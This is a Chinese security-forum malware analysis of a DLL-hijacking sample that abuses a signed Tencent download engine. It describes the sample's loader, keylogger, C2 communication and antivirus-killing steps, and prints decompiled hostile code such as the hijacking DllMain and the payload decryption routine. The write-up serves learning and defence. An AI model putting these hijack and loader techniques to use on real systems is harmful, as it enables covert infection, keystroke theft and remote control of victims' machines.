[原创]白加黑dll劫持恶意样本分析（含样本详细逻辑）-软件逆向-看雪-安全社区|安全招聘|kanxue.com

[原创]白加黑dll劫持恶意样本分析（含样本详细逻辑）
发表于: 2024-5-10 22:16 11347
[原创]白加黑dll劫持恶意样本分析（含样本详细逻辑）

天堂猪0ink
2024-5-10 22:16
11347
一杯茶，一根烟，一个样本调一天。
这是我在学习网安路上的一条记录。
虽然样本是相对比较古老的，网上也有很多人分析过，但是他们的资料都比较宽泛，过程很跳。对我来说，我希望对这个样本行为有更深更细的掌握，因此在函数行为逻辑方面我做了更深更彻底的探讨，比如键盘记录器以及中途如何去寻找上游控制函数，几个dat文件解密出来的pe、导出函数wow_helper、UserService等更多的细节。希望能够对其他人有所帮助。
这个样本花了我好几天，中途还有相当多的不足以及错误，比如远控函数sub_10002020的具体的功能函数，白加黑的恶意DLL Teniodl_Core.dll中装载病毒的函数sub_10001000和sub_100014DE，以及其他我没有关注到的细节，希望大佬们多多指导。
白加黑：用自己编写的恶意dll替代合法程序所需DLL，实现恶意代码注入
Windows XP SP2系统以上DLL文件加载的搜索顺序如下：
根据前面介绍的DLL加载顺序，运行程序的时候会优先到程序执行的目录下加载必须文件，这么一来，病毒作者可以伪造一个dll，包含所有被劫持dll的导出函数，放到可执行程序目录下，当exe运行时，病毒dll就理所当然被优先调用了。
两个隐藏文件，一个截图.bmp

bmp是图像，这里系统解析是快捷方式，这里先不双击，winhex查看bmp
发现他会调用系统的rundll32.exe，调用样本的dat/reg.dll

双击之后，会弹出一个腾讯游戏云加速下载引擎，然后跳出一个DNF价格表jpg图片

火绒剑监控rundll32.exe进程，过滤rundll32.exe进程和病毒文件夹路径


可以看到，调用了三种dll
并且观察进程可以发现，多了QQGame.exe

查看可疑进程dllhost.exe，可以发现dat中的TenioDL_core.dll

双击bmp之后还有一个可疑进程Au.exe，查看信息可以知道就是刚刚跳出来的下载引擎


整理以上信息
接下来就是根据这个表进行分析
首先分析reg.dll
先静态分析
扔到IDA中，查看字符串
导入文件的过程中，要求我们导入病毒文件夹中的HD_Comm.dll文件，这个后面得分析
复现文章中有中文，银行检测工具啥的，我没带插件，分析的其实是英文



可以猜测是安全检测工具的dll，或者是恶意工具实现的导出函数
这里的字符串没有什么特别可疑的，大部分是函数名和dll调用，最可疑的还是病毒自己实现的HD_Comm.dll
整体上Reg.dll还是一个跳板文件，这里分析HD_Comm.dll
这个DLL解析不出导入表，查看导出表，其中有很多函数，可能是在正常dll文件中加入了恶意代码
发现加了UPX壳，脱壳，安装官方工具https://github.com/upx/upx/releases，脱壳upx -d即可
重新分析HD_Comm.dll发现已经脱壳了，原先的是upx壳，所以导入表没用，导出表仍然是那么多

导入表比较可疑，发现了shellcode常用的几个api，winexec、createfileA、LoadLibraryA等

dllmain比较小只，逻辑比较简单
运行Au.exe，发现dnf的图片跳出来，说明病毒已经运行。
静态分析，查壳，无壳

IDA分析，符号表不全，先查看字符串
注意到字符表，可能用来做加密

搜索dll、exe等敏感字符，发现会调用我们之前复制过去的TenioDL_core.dll
从WinMain开始分析
经过总体分析，这里的sub_401C50是全局话的设置，ImmDisableIME是输入法方面设置，sub_401ED0设置了一些安全方面的内容，疑似下了一些检测filter和钩子，最终调用了TenioDL_Initialize。
搜索TenioDL_Initialize，可以发现Teniodl进程是腾讯游戏中高速下载引擎下载进程，而这个函数是做初始化操作的。
上面我们知道Au.exe调用了Teniodl_Core.dll，搜索引用发现TenioDL_Initialize是Teniodl_Core.dll的导出函数，所以去分析TenioDL_Initialize函数
我们知道，Teniodl_Core.dll其实就是我们之前分析的HD_Comm.dll，不过这里调用的是HD_Comm.dll提供的导出函数，不是DllMain。
跟进TenioDL_Initialize
（同样的这个dll需要脱upx壳）

进入函数之后可以查看到，首先调用GetModuleFileNameA获取模块名，GetForegroundWindow和GetInputState检查前台窗口和输入状态（不明白有啥用），PathRemoveFileSpecA去除文件名，再用lstrcatA追加\config.dat，构造出C:\Users\wang\Desktop\信誉新价格\dat\Config.dat，这就是存放病毒的数据文件。
继续查看代码。指定了config.dat文件，首先会创建或者打开config.dat，readfile读取文件内容到开辟出来的堆内存中，然后解密函数从内存中把数据写入config.dat
进入sub_100016B0看看，可以发现先这个操作非常像解密函数，传入的a1参数是开辟的堆内存，其中存放config.dat读取进的数据
汇编如下：
根据反汇编代码我们可以得到解密思路：
浅浅写一个脚本
但是这里脚本有点问题，我直接到动调里面内存dump吧
走出100016B0之后，内存中的PE已经被修改了。
浅浅算一下文件地址，winhex中看到大小为64CF0

动调中，ESI起始地址（内存分配地址）为0xx6B68D1，加一起就是0x71B5C1。
dump出来，保存为文件

在病毒的解密（sub_100016B0）之后，进入sub_10001000，分析在注释中
我的直觉告诉我这里的v8函数调用应该有大问题，但是静态分析实在怼不出来，动调试一下，看看v8指向的是哪里。
NT头检测
edi指向pe头

步入v8调用的函数，然后啥都没分析出来，没看到什么敏感的函数或者操作，开辟了个内存然后又释放了。
这个v6，应当是注册PE各个头内存地址的堆，动调没看出个所以然来。
菜了，不知道这里是不是这种思路，看不出东西我就先过。
解密病毒文件之后，调用sub_100014DE，传入的string1为wow_helper，v5为堆内存（这个堆有啥用没分析明白）
这个函数事后诸葛亮地分析一波，其中有stricmp函数进行比较，应当是搜索wow_helper，我们也知道这是Config.dat的导出函数，那么这里应当就是搜索这个导出函数的。
最终会返回一个句柄，并且在外部执行这个函数，动调看一眼
动调跟进call eax。调试发现这里调用了病毒文件Config.dat，相关字符串是Config.dat的
上面这俩函数没有分析明白，先看病毒程序吧
之前内存dump出来的病毒扔到IDA中，识别为PE。查看字符串
任意挑选一个键盘相关字符串，我这里选择Shift，查看交叉引用

发现是单字符存储（数组），那么就查看数组的交叉引用，类型为r说明被读取了
可以发现，作为lstrcatA的参数，拿去与字符串拼接了
按下空格，查看一下总体模块流程


查看详细的键盘记录逻辑，分析sub_10006040函数
函数中有三个关键参数：v2计数器、string、v8字符数组
函数会首先判断string是否为空，不为空的话会调用sub_10005F30处理收集到的字符信息
这里我们首先查看字符为空，函数如何收集按键信息
首先他使用v2进行虚拟键码迭代
接下来是不同按键的处理逻辑
按键活动处理：
大写锁定和Shift键处理：
字符串发送：
分析一下sub_10005DF0
在开始循环迭代虚拟键码前，还有一个迭代的收尾处理。如果string在最后仍然非空（程序键码超出101，仍有一些收集的字符残留在string中），就会进入sub_10005F30，在其中记新系统时间，并且保存剩下的字母（还会判断一下当前前台窗口的标题是否是上一次存放的标题，如果不是，就说明下一个迭代周期，键盘记录程序已经在记录别的窗口的键盘信息了）。
查看.key的交叉引用，查看哪里还使用了这个Windows.key文件，定位到sub_10006250

这是一个比较大只，头重脚轻的函数
首先调用了sub_100034D0，传入的参数是传入sub_10006250的第一个参数，类型为HANDLE，还有int值8025
可以看到，传了edi和1F59h的参数，跟进sub_100034D0
先看第一个call，sub_10003830
里面调用了closesocket接口，看来主要是把收集到的信息socket发送出去
在__thiscall调用约定中，ecx寄存器往往是存放this指针的，因此这里是传递了ecx的this指针给sub_10003830函数，this指针中可能注册了socket实例。
会检查this指针第394位，若非空，则关闭socket，再置空，可能是标志位，或者是socket存储位置，判断此刻socket非空，就释放。这个函数位于最前面，应该是为后续操作清除资源做初始化操作。
调用lstrcpyA将传入的对象中成员进行复制，以及赋值
LPCSTR 通常用于 Windows API 中，表示一个指向以 null 结尾的字符数组（即 C 风格字符串）的指针。所以这里是指向a1向后的312位偏移处，这里存放一个指向字符数组的指针。如果这个字符数组不为空，则调用sub_100035D0
跟进，分析在注释里。sub_100035D0函数作用为从web获取临时文件数据，并从中解析URL信息，于是重命名为ParseWebTmpFileInfo
跟进sub_100064C0，重命名为DownloadData2FileFromUrl。该函数主要作用是从url下载数据到临时文件。
回到sub_100034D0，提取出信息存储到this对象之后，生成计数器，然后调用sub_100040E0，这里两个参数分别是提取的URL和端口
经过分析，sub_100040E0的作用是根据URL和端口创建socket并且发起通信，一切成功则返回套接字描述符，因此重命名为SocketConnect
回到100034D0，如果result返回了套接字描述符，则注册到this对象1572偏移处，并且调用sub_10003F50、sub_10006660与sub_10003770函数
首先跟进sub_10003F50，整体是获取系统信息的作用，改名为GetSysInfo
重点关注：sub_10003AC0，对注册表操作，传入的参数为HKEY_CURRENT_USER, "Software\limit", "Host"等，提取出来的关键代码完整流程（省略了一大部分）：
sub_10006660起到一个异或加密的作用
sub_10003770中send了套接字消息，重命名为SocketSend
到此为止，sub_100034D0的行为已经很清晰了，下载web数据（从归属对象中取出）到临时文件并提取URL和端口信息到内存，获取系统信息，发起socket连接，XOR加密并send数据。
根据以上分析，可以得出这个sub_100034D0是通用的数据发送接口，包括connect、encrypt、send等，在sub_10006250开头调用的这里send的数据不是我们收集的Windows.key文件，猜测这是信息处理之前把资源清空，或者传输过去的int 8025是一个特殊的敲门单词。当然我这里是分析中瞎猜的
跟进导出函数UserService，回头可以发现，此处的sub_100034D0的第二个参数，传的其实是后门的行为标识符，帮助C2了解此时程序的行为。
最终成功分析完键盘记录器的行为，sub_10006250本质是键盘记录器的调度程序，重命名为KeyWatcher，其中会开辟Keywatcher线程（sub_10006040函数）进行键盘记录，收集来的信息放在C:\Windows\System32\Windows.key中，在sub_10006250中重复地被发送给远端主机。
远端主机的信息的获取链路：
可以发现，病毒以this对象为调度中心，会在其中存放一些关键配置，因此这里需要追踪这个对象。
观察IDA中sub_100034D0的签名，可以发现使用用户自定义函数调用__userpurge，，这里表示a1的值通过ecx寄存器传递，而这个a1存放的就是刚刚一直使用的this上下文对象，那么我们需要追踪ecx寄存器。
查看sub_100034D0交叉引用，慢慢排查

由于是对象与方法，这里我们任选一个进行溯源，选择第一个跟进到sub_10001B00，a1 ecx也是他的参数，交叉引用只有一条，跟进到sub_100024D0
此时a1作为参数传递进sub_100024D0函数，并赋值给v1数组。这里的HWAVEIN代表着接收设备的波形设备标识符（音频输入设备句柄）。这里合理猜测是监听声音输入信息的驱动。
继续跟进唯一的交叉引用sub_10002020，里面开辟了非常多的线程，有非常多的case分支，很可能是病毒的命令处理函数，是核心逻辑。
观察到参数里仍然传入了this，调用约定还是thiscall，说明链子上游仍然有对象，继续跟进
跟进到sub_10001F80，仍然是thiscall，但是这里已经显示了this对象和后面一些参数，继续追溯唯一交叉引用
最终追溯到UserService函数，这个函数是noreturn的，不会返回调用者，不影响调用函数的执行流。
查看交叉引用，可以发现UserService是Config.dat提供的导出函数
可以观察到这个DLL的名称是PCMain.dll，提供了两个导出函数，UserService和wow_helper
我们前文追踪的病毒控制函数就是UserService。
接下来我们分析导出函数UserService
调用CreateDesktopA创建了新的桌面环境，并且设置了_STARTUPINFOA类型启动信息startinfo。
接着调用SHGetSpecialFolderPathA，获取系统特殊路径（这个路径由系统定义，这里检索int 38的目录，对应着C:\Program Files，win10 x86对应着C:\Program Files (X86)），拼接“\Tencent\QQGAME\QQGame.exe”到pszPath和string中，构造路径C:\Program Files (X86)\Tencent\QQGAME\QQGame.exe，然后调用CreateProcessA，用之前的信息生成进程，这里做的操作意味着程序启动了QQGame.exe这个程序。
接着创建名为"981859203.com"的互斥体，若已经存在了说明后门已经执行了，不需要继续执行了。
经过一些窗口设置，调用sub_10001E80，传入字符数组v7.v7的空间特别大，这里经过分析也知道这其实就是类对象的赋值
给v1数组赋值"A2s45d78w"并最终调用sub_10001F80（刚刚链路追踪中调用的控制函数），传递的参数就是v7对象，v1的字符串值
根据不同的配置和参数传递状况，最终可能开辟线程：StartAddress、sub_10001F70；
一定会调用sub_10002020、sub_10003830。
StartAddress中，启动了键盘控制器，也就是前文分析过的sub_10006250，此处按下不表。
sub_10001F70，算是一个网络行为的控制函数，做调度用途，没有需要注意的点。
sub_10003830，关闭并清空this对象中socket。
核心来了，sub_10002020，病毒核心部分，控制函数。
第一个do while是上线包，会发送8000的标识符给远端URL，当创建了socket连接，才会返回非空值，开辟sub_10002020线程，启动命令控制。
首先查看命令接收
可以看出调用recv直接从socket中接收消息，存储到buf中，而buf是10002020中定义的四位字符数组
最高可以存放0xFFFFFFFF的数值。
接下来就是判断状态码对应的操作
分析完了UserService，来看wow_helper
这个文件可大了，首先调用sub_1000A710检查是否有KSafeTray.exe进程（金山卫士）
如果找到了金山卫士的进程，则关闭这个进程
这里由于白加黑，Teniodl_Core.dll 云下载引擎成功启动，启动的时候会向用户申请管理员权限，因此这里有管理员权限，可以随意关闭其他进程。
获取当前模块名，如果是load.exe，则进入接下来的逻辑
引入了各种dll，获取特殊路径，这里是36，0x0024，对应的是CSIDL_WINDOWS，路径为C:/Windows。然后追加字符串构建一个路径：C:/Windows/limit/dllhost.exe。

创建C:/Windows/Program Files (X86)/Tencent/QQGame目录，并执行C:/Windows/Program Files (X86)/Tencent/QQGame/QQGame.exe。如果这个文件一开始不存在，则调用sub_1000A790复制指定文件为QQGame.exe。
接下来处理DNF.jpg文件，也就是我们看到的执行Au.exe之后会弹出的DNF价格图片。
代码中会把io.dat的值取出，异或解密后存储于内存，并以图片类型打开

创建C:\Windows\limit文件夹下文件，都是从病毒文件夹中copy过来的


其中，load.exe对应Aau.exe，config.dat和TenioDL_core.dll不变
dllhost.exe，是由sub_1000A790函数从dword_10022B78中提取104号资源，并写入dllhost.exe文件。这个104是.rc资源表中的资源序号。

而dword_10022B78在DLLMain中已经赋值了，就是解密后的Config.dat的dll句柄

因此这里直接用CFF exploerer打开，找到104号资源，查看data entry（资源目录），查看OffsetToData，这就是资源在二进制文件中的RVA，这里为20A68。


在偏移附近找到了存放的PE文件，也就是我们提取出来的dllhost.exe。
寻找360tray.exe（360），如果没找到，则删除load.exe，使用Au.exe
整体就是这么个操作。
接下来分析这个分离并且执行的dllhost.exe
通过火绒剑，可以发现dllhost.exe启动了一个conhost.exe和QQGame.exe

IDA开始分析，先看main
获取一堆函数的句柄
接下来获取config.dat，解密之后，调用sub_4016B0，其中有config.dat（PCMain.dll）的导出函数UserService字符串，也就是我们分析过的核心病毒代码的函数名，这里大概率是找到导出表中UserService的RVA，然后计算之后返回他的地址，在外部直接调用。
这个dllhost.exe没有其余导出函数了，因此分析到这里可以结束。
到这里，这个样本算是圆满分析完成了。
虽然样本是相对比较古老的，网上也有很多人分析过，但是他们的资料都比较宽泛，过程很跳，对样本的感知不是很深很细。对我来说，我希望对这个样本行为有更深更细的掌握，因此在函数行为逻辑方面我做了更深更彻底的探讨，比如键盘记录器以及中途如何去寻找上游控制函数，几个dat文件解密出来的pe、导出函数wow_helper、UserService等更多的细节。希望能够对其他人有所帮助。
这个样本花了我好几天，中途还有相当多的不足以及错误，比如远控函数sub_10002020的具体的功能函数，白加黑的恶意DLL Teniodl_Core.dll中装载病毒的函数sub_10001000和sub_100014DE，以及其他我没有关注到的细节，希望大佬们多多指导。
[原创]“白加黑”恶意程序样本分析-软件逆向-看雪-安全社区|安全招聘|kanxue.com
[原创]一个隐藏蛮深的白加黑样本分析-软件逆向-看雪-安全社区|安全招聘|kanxue.com
PE格式第九讲,资源表解析 - iBinary - 博客园


文件名
MD5
是否有签名


HD_Comm.dll
4E7297B83268994537D575716CC65A54
无

截图.bmp.lnk
5C9422B6B2731A67D8504CD5C8F96812
无

Au.exe
4BED62D4A1344F3A87E8B8A629E3B26D
有(腾讯游戏云加速下载引擎（旋风Inside）

Config.dat
B6BE1CFEB69FC091E67480E45E9B4B4D
无

io.dat
798536BB39EF2066DF35885F78C59A58
无

Reg.dll
E3DE7CB9E11F877ABDB56D832F20E76F
有

config.dat
B6BE1CFEB69FC091E67480E45E9B4B4D
无

dllhost.exe
9A0F444364CC3FC74C3AB1E7BFBD219B
无

load.exe
4BED62D4A1344F3A87E8B8A629E3B26D
有(腾讯游戏云加速下载引擎（旋风Inside）)

TenioDL_core.dll
4E7297B83268994537D575716CC65A54
无

.rdata:10006E20 0000000C    C   HD_Comm.dll
.rdata:10006E20 0000000C    C   HD_Comm.dll
PS C:\Users\wang\Desktop\upx-4.2.3-win64> .\upx.exe -d C:\Users\wang\Desktop\信誉新价格\HD_Comm.dll

                       Ultimate Packer for eXecutables

                          Copyright (C) 1996 - 2024
UPX 4.2.3       Markus Oberhumer, Laszlo Molnar & John Reiser   Mar 27th 2024
 

        File size         Ratio      Format      Name

   --------------------   ------   -----------   -----------

     24576 <-      9728   39.58%    win32/pe     HD_Comm.dll
 

Unpacked 1 file.
PS C:\Users\wang\Desktop\upx-4.2.3-win64>
PS C:\Users\wang\Desktop\upx-4.2.3-win64> .\upx.exe -d C:\Users\wang\Desktop\信誉新价格\HD_Comm.dll

                       Ultimate Packer for eXecutables

                          Copyright (C) 1996 - 2024
UPX 4.2.3       Markus Oberhumer, Laszlo Molnar & John Reiser   Mar 27th 2024
 

        File size         Ratio      Format      Name

   --------------------   ------   -----------   -----------

     24576 <-      9728   39.58%    win32/pe     HD_Comm.dll
 

Unpacked 1 file.
PS C:\Users\wang\Desktop\upx-4.2.3-win64>

BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

  CHAR ExistingFileName[257]; // [esp+8h] [ebp-40Ch] BYREF

  __int16 v5; // [esp+109h] [ebp-30Bh]

  char v6; // [esp+10Bh] [ebp-309h]

  CHAR Filename[253]; // [esp+10Ch] [ebp-308h] BYREF

  __int16 v8; // [esp+209h] [ebp-20Bh]

  char v9; // [esp+20Bh] [ebp-209h]

  CHAR String1[257]; // [esp+20Ch] [ebp-208h] BYREF

  __int16 v11; // [esp+30Dh] [ebp-107h]

  char v12; // [esp+30Fh] [ebp-105h]

  CHAR pszPath[257]; // [esp+310h] [ebp-104h] BYREF

  __int16 v14; // [esp+411h] [ebp-3h]

  char v15; // [esp+413h] [ebp-1h]
 

  memset(Filename, 0, sizeof(Filename));

  dword_100035F0 = hinstDLL;

  v8 = 0;

  v9 = 0;

  GetModuleFileNameA(0, Filename, 0xFFu);

  CharLowerA(Filename);

  if ( StrStrA(Filename, pszSrch) )

  {

    if ( CreateMutexA(0, 0, Name) && GetLastError() == 183 )

      ExitProcess(0);

    memset(pszPath, 0, sizeof(pszPath));

    v14 = 0;

    v15 = 0;

    GetModuleFileNameA(dword_100035F0, pszPath, 0x104u);

    PathRemoveFileSpecA(pszPath);

    lstrcatA(pszPath, aDatTeniodlCore);

    memset(ExistingFileName, 0, sizeof(ExistingFileName));

    v5 = 0;

    v6 = 0;

    GetModuleFileNameA(dword_100035F0, ExistingFileName, 0x104u);

    CopyFileA(ExistingFileName, pszPath, 0);

    memset(String1, 0, sizeof(String1));

    v11 = 0;

    v12 = 0;

    GetModuleFileNameA(dword_100035F0, String1, 0x104u);

    PathRemoveFileSpecA(String1);

    lstrcatA(String1, aDatAuExe);

    WinExec(String1, 0);

  }

  return 1;
}

BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

  CHAR ExistingFileName[257]; // [esp+8h] [ebp-40Ch] BYREF

  __int16 v5; // [esp+109h] [ebp-30Bh]

  char v6; // [esp+10Bh] [ebp-309h]

  CHAR Filename[253]; // [esp+10Ch] [ebp-308h] BYREF

  __int16 v8; // [esp+209h] [ebp-20Bh]

  char v9; // [esp+20Bh] [ebp-209h]

  CHAR String1[257]; // [esp+20Ch] [ebp-208h] BYREF

  __int16 v11; // [esp+30Dh] [ebp-107h]

  char v12; // [esp+30Fh] [ebp-105h]

  CHAR pszPath[257]; // [esp+310h] [ebp-104h] BYREF

  __int16 v14; // [esp+411h] [ebp-3h]

  char v15; // [esp+413h] [ebp-1h]
 

  memset(Filename, 0, sizeof(Filename));

  dword_100035F0 = hinstDLL;

  v8 = 0;

  v9 = 0;

  GetModuleFileNameA(0, Filename, 0xFFu);

  CharLowerA(Filename);

  if ( StrStrA(Filename, pszSrch) )

  {

    if ( CreateMutexA(0, 0, Name) && GetLastError() == 183 )

      ExitProcess(0);

    memset(pszPath, 0, sizeof(pszPath));

    v14 = 0;

    v15 = 0;

    GetModuleFileNameA(dword_100035F0, pszPath, 0x104u);

    PathRemoveFileSpecA(pszPath);

    lstrcatA(pszPath, aDatTeniodlCore);

    memset(ExistingFileName, 0, sizeof(ExistingFileName));

    v5 = 0;

    v6 = 0;

    GetModuleFileNameA(dword_100035F0, ExistingFileName, 0x104u);

    CopyFileA(ExistingFileName, pszPath, 0);

    memset(String1, 0, sizeof(String1));

    v11 = 0;

    v12 = 0;

    GetModuleFileNameA(dword_100035F0, String1, 0x104u);

    PathRemoveFileSpecA(String1);

    lstrcatA(String1, aDatAuExe);

    WinExec(String1, 0);

  }

  return 1;
}

int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{

  if ( sub_401C50() )

    return -1;

  ImmDisableIME(0xFFFFFFFF);

  sub_401ED0();

  strstr(lpCmdLine, "tenio_debug_console");

  TenioDL_Initialize();

  ReleaseMutex(hMutex);

  return 0;
}

int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{

  if ( sub_401C50() )

    return -1;

  ImmDisableIME(0xFFFFFFFF);

  sub_401ED0();

  strstr(lpCmdLine, "tenio_debug_console");

  TenioDL_Initialize();

  ReleaseMutex(hMutex);

  return 0;
}

.rdata:00425C94 54 65 6E 69 6F 44 4C 5F 63 6F+aTeniodlCoreDll db 'TenioDL_core.dll',0 ; DATA XREF: .rdata:00425864↑o
 
.rdata:00425864 94 5C 02 00                   dd rva aTeniodlCoreDll                  ; DLL Name
.rdata:00425868 98 21 02 00                   dd rva ?TenioDL_Initialize@@YAHXZ       ; Import Address Table

.rdata:00425C94 54 65 6E 69 6F 44 4C 5F 63 6F+aTeniodlCoreDll db 'TenioDL_core.dll',0 ; DATA XREF: .rdata:00425864↑o
 
.rdata:00425864 94 5C 02 00                   dd rva aTeniodlCoreDll                  ; DLL Name
.rdata:00425868 98 21 02 00                   dd rva ?TenioDL_Initialize@@YAHXZ       ; Import Address Table
; Exported entry 107. ?TenioDL_Initialize@@YAHXZ
 
 
; Attributes: bp-based frame
 

; int __cdecl TenioDL_Initialize()

public ?TenioDL_Initialize@@YAHXZ
?TenioDL_Initialize@@YAHXZ proc near
 
Filename= byte ptr -10Ch
NumberOfBytesRead= dword ptr -8
hFile= dword ptr -4
 
push    ebp
mov     ebp, esp
sub     esp, 10Ch
push    esi
push    edi
lea     eax, [ebp+Filename]
push    104h            ; nSize
push    eax             ; lpFilename
push    dword_100035F0  ; hModule
call    ds:GetModuleFileNameA
call    ds:GetForegroundWindow
call    ds:GetInputState
lea     eax, [ebp+Filename]
push    eax             ; pszPath
call    ds:PathRemoveFileSpecA
lea     eax, [ebp+Filename]

push    offset aConfigDat ; "\\config.dat"
push    eax             ; lpString1
call    ds:lstrcatA
xor     edi, edi
lea     eax, [ebp+Filename]
push    edi             ; hTemplateFile
push    edi             ; dwFlagsAndAttributes
push    3               ; dwCreationDisposition
push    edi             ; lpSecurityAttributes
push    edi             ; dwShareMode
push    80000000h       ; dwDesiredAccess
push    eax             ; lpFileName
call    ds:CreateFileA
; Exported entry 107. ?TenioDL_Initialize@@YAHXZ
 
 
; Attributes: bp-based frame
 

; int __cdecl TenioDL_Initialize()

public ?TenioDL_Initialize@@YAHXZ
?TenioDL_Initialize@@YAHXZ proc near
 
Filename= byte ptr -10Ch
NumberOfBytesRead= dword ptr -8
hFile= dword ptr -4
 
push    ebp
mov     ebp, esp
sub     esp, 10Ch
push    esi
push    edi
lea     eax, [ebp+Filename]
push    104h            ; nSize
push    eax             ; lpFilename
push    dword_100035F0  ; hModule
call    ds:GetModuleFileNameA
call    ds:GetForegroundWindow
call    ds:GetInputState
lea     eax, [ebp+Filename]
push    eax             ; pszPath
call    ds:PathRemoveFileSpecA
lea     eax, [ebp+Filename]

push    offset aConfigDat ; "\\config.dat"
push    eax             ; lpString1
call    ds:lstrcatA
xor     edi, edi
lea     eax, [ebp+Filename]
push    edi             ; hTemplateFile
push    edi             ; dwFlagsAndAttributes
push    3               ; dwCreationDisposition
push    edi             ; lpSecurityAttributes
push    edi             ; dwShareMode
push    80000000h       ; dwDesiredAccess
push    eax             ; lpFileName
call    ds:CreateFileA

int __cdecl TenioDL_Initialize()
{

  int v0; // edi

  HANDLE FileA; // eax

  DWORD FileSize; // ebx

  HANDLE ProcessHeap; // eax

  char *v4; // esi

  int v5; // eax

  void *v6; // esi

  void (*v8)(void); // eax

  CHAR Filename[260]; // [esp+8h] [ebp-10Ch] BYREF

  DWORD NumberOfBytesRead; // [esp+10Ch] [ebp-8h] BYREF

  HANDLE hFile; // [esp+110h] [ebp-4h]
 

  GetModuleFileNameA(dword_100035F0, Filename, 0x104u);

  GetForegroundWindow();

  GetInputState();

  PathRemoveFileSpecA(Filename);

  lstrcatA(Filename, aConfigDat);

  v0 = 0;

  FileA = CreateFileA(Filename, 0x80000000, 0, 0, 3u, 0, 0);

  hFile = FileA;

  if ( FileA == (HANDLE)-1 )

  {

    CloseHandle((HANDLE)0xFFFFFFFF);

    return 0;

  }

  FileSize = GetFileSize(FileA, 0);

  ProcessHeap = GetProcessHeap();

  v4 = (char *)HeapAlloc(ProcessHeap, 8u, FileSize);

  NumberOfBytesRead = 0;

  ReadFile(hFile, v4, FileSize, &NumberOfBytesRead, 0);

  CloseHandle(hFile);

  sub_100016B0(++v4, FileSize, 0x18u);

  v5 = sub_10001000(v4);

  v6 = (void *)v5;

  if ( !v5 )

    return 0;

  v8 = (void (*)(void))sub_100014DE(v5, String1);

  if ( v8 )

  {

    v8();

    v0 = 42;

  }

  sub_10001587(v6);

  return v0;
}

int __cdecl TenioDL_Initialize()
{

  int v0; // edi

  HANDLE FileA; // eax

  DWORD FileSize; // ebx

  HANDLE ProcessHeap; // eax

  char *v4; // esi

  int v5; // eax

  void *v6; // esi

  void (*v8)(void); // eax

  CHAR Filename[260]; // [esp+8h] [ebp-10Ch] BYREF

  DWORD NumberOfBytesRead; // [esp+10Ch] [ebp-8h] BYREF

  HANDLE hFile; // [esp+110h] [ebp-4h]
 

  GetModuleFileNameA(dword_100035F0, Filename, 0x104u);

  GetForegroundWindow();

  GetInputState();

  PathRemoveFileSpecA(Filename);

  lstrcatA(Filename, aConfigDat);

  v0 = 0;

  FileA = CreateFileA(Filename, 0x80000000, 0, 0, 3u, 0, 0);

  hFile = FileA;

  if ( FileA == (HANDLE)-1 )

  {

    CloseHandle((HANDLE)0xFFFFFFFF);

    return 0;

  }

  FileSize = GetFileSize(FileA, 0);

  ProcessHeap = GetProcessHeap();

  v4 = (char *)HeapAlloc(ProcessHeap, 8u, FileSize);

  NumberOfBytesRead = 0;

  ReadFile(hFile, v4, FileSize, &NumberOfBytesRead, 0);

  CloseHandle(hFile);

  sub_100016B0(++v4, FileSize, 0x18u);

  v5 = sub_10001000(v4);

  v6 = (void *)v5;

  if ( !v5 )

    return 0;

  v8 = (void (*)(void))sub_100014DE(v5, String1);

  if ( v8 )

  {

    v8();

    v0 = 42;

  }

  sub_10001587(v6);

  return v0;
}

v5 = (struct _INFORMATIONCARD_CRYPTO_HANDLE *)HeapAlloc(ProcessHeap, 8u, FileSize);
NumberOfBytesRead = 0;
ReadFile(hFile, v5, FileSize, &NumberOfBytesRead, 0);
CloseHandle(hFile);

v5 = (struct _INFORMATIONCARD_CRYPTO_HANDLE *)((char *)v5 + 1);
sub_100016B0(v5, FileSize, 0x18u);
// sub_100016B0重命名为TrojanDecrypt
......
// push    18h
// push    ebx
// push    esi
// call    TrojanDecrypt   ; 病毒解密函数
 
// 病毒解密函数

int __cdecl TrojanDecrypt(int a1, int a2, unsigned __int8 a3)
{

  int result; // eax

  int v4; // esi
 

  result = a3 / 169;

  v4 = a2;

  if ( a2 )

  {

    result = a1;

    do

    {

      *(_BYTE *)result = ((a3 % 169 + 8) ^ *(_BYTE *)result) - (a3 % 169 + 8);

      ++result;

      --v4;

    }

    while ( v4 );

  }

  return result;
}

v5 = (struct _INFORMATIONCARD_CRYPTO_HANDLE *)HeapAlloc(ProcessHeap, 8u, FileSize);
NumberOfBytesRead = 0;
ReadFile(hFile, v5, FileSize, &NumberOfBytesRead, 0);
CloseHandle(hFile);

v5 = (struct _INFORMATIONCARD_CRYPTO_HANDLE *)((char *)v5 + 1);
sub_100016B0(v5, FileSize, 0x18u);
// sub_100016B0重命名为TrojanDecrypt
......
// push    18h
// push    ebx
// push    esi
// call    TrojanDecrypt   ; 病毒解密函数
 
// 病毒解密函数

int __cdecl TrojanDecrypt(int a1, int a2, unsigned __int8 a3)
{

  int result; // eax

  int v4; // esi
 

  result = a3 / 169;

  v4 = a2;

  if ( a2 )

  {

    result = a1;

    do

    {

      *(_BYTE *)result = ((a3 % 169 + 8) ^ *(_BYTE *)result) - (a3 % 169 + 8);

      ++result;

      --v4;

    }

    while ( v4 );

  }

  return result;
}
.text:100016B0                               ; =============== S U B R O U T I N E =======================================
.text:100016B0
.text:100016B0                               ; 病毒解密函数
.text:100016B0                               ; Attributes: bp-based frame
.text:100016B0

.text:100016B0                               ; int __cdecl TrojanDecrypt(int, int, unsigned __int8)

.text:100016B0                               TrojanDecrypt proc near                 ; CODE XREF: TenioDL_Initialize(void)+B7↓p
.text:100016B0
.text:100016B0                               arg_0= dword ptr  8
.text:100016B0                               arg_4= dword ptr  0Ch
.text:100016B0                               arg_8= byte ptr  10h
.text:100016B0
.text:100016B0 55                            push    ebp
.text:100016B1 8B EC                         mov     ebp, esp
.text:100016B3 56                            push    esi
.text:100016B4 90                            nop
.text:100016B5 90                            nop
.text:100016B6 90                            nop
.text:100016B7 90                            nop
.text:100016B8 90                            nop
.text:100016B9 0F B6 45 10                   movzx   eax, [ebp+arg_8]
.text:100016BD 99                            cdq
.text:100016BE B9 A9 00 00 00                mov     ecx, 0A9h
.text:100016C3 F7 F9                         idiv    ecx
